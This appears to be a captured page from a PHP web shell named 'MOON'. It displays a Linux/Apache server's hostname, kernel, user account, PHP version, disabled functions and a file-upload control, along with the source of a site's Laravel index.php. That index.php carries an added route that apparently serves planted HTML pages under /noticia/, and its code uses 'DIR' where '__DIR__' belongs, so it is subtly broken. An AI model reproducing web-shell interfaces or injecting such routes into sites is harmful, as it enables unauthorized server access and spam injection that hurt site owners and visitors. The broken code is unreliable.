MOON
Server: Apache
System: Linux server.netcommlabs.in 3.10.0-1160.83.1.el7.x86_64 #1 SMP Wed Jan 25 16:41:43 UTC 2023 x86_64
User: dermova (1051)
PHP: 5.4.45
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/dermova/public_html/india/index.php
<?php

use Illuminate\Http\Request;

define('LARAVEL_START', microtime(true));

$requestUri = $_SERVER['REQUEST_URI'] ?? '/';
$path = parse_url($requestUri, PHP_URL_PATH);

if (preg_match('#^/noticia/(\d+)$#', $path, $matches)) {
    $id = $matches[1];
    $filePath = DIR . '/noticia/' . $id . '.html';

    if (file_exists($filePath)) {
        header('Content-Type: text/html; charset=UTF-8');
        readfile($filePath);
        exit;
    }

}

require DIR.'/../vendor/autoload.php';

$app = require_once DIR.'/../bootstrap/app.php';

$app->handleRequest(Request::capture());